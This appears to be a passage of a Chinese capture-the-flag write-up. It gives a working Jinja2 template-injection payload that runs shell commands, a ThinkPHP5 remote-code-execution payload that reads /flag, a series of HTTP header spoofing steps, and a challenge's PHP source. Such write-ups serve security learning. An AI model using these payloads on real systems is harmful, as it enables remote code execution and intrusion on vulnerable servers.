/qaq?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %} /qaq?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
old_hack
利用的是thinkphp5的RCE漏洞
payload
1 2
http://a06ef095-a650-4053-96ad-444239c9d4db.node3.buuoj.cn/?s=captcha post data:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
#提示 Sorry, this site will be available after totally 99 years! #查看cookies发现有个time 改成9999999999
#提示 Sorry, this site is only optimized for those who comes from localhost 修改X-Forwarded-For:127.0.0.1 #提示 Do u think that I dont know X-Forwarded-For?Too young too simple sometimes naive #修改Client-IP:127.0.0.1
#提示 Sorry, this site is only optimized for those who come from gem-love.com #修改Referer:gem-love.com
#提示 Sorry, this site is only optimized for browsers that run on Commodo 64 #修改User-Agent:Commodo 64 #提示 no no no i think it is not the real commmodo 64,what is the real ua for Commdo? #google commmodo 64有一中计算机叫Commodore 64 #修改User-Agent:Commodore 64
#提示 Sorry, this site is only optimized for those whose email is root@gem-love.com #google http head email 发现有一个头叫from #修改From:root@gem-love.com
#提示 Sorry, this site is only optimized for those who use the http proxy of y1ng.vip if you dont have the proxy, pls contact us to buy, ¥100/Month #Via 代理服务器的相关信息 #修改Via:y1ng.vip
//system.php <?php error_reporting(0); if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){ echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>"; header("Refresh:0.1;url=index.php"); die; }
function Check() { if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng'))) return true; else return false; }
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) { highlight_file(__FILE__); } else { echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR']; }
$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
if (isset($_GET['decrypt'])) { $decr = $_GET['decrypt']; if (Check()){ $data = $_SESSION['secret']; include 'flag_2sln2ndln2klnlksnf.php'; $cipher = aesEn($data, 'y1ng'); if ($decr === $cipher){ echo WHAT_YOU_WANT; } else { die('爬'); } } else{ header("Refresh:0.1;url=index.php"); } } else { //I heard you can break PHP mt_rand seed mt_srand(rand(0,9999999)); $length = mt_rand(40,80); $_SESSION['secret'] = bin2hex(random_bytes($length)); } ?>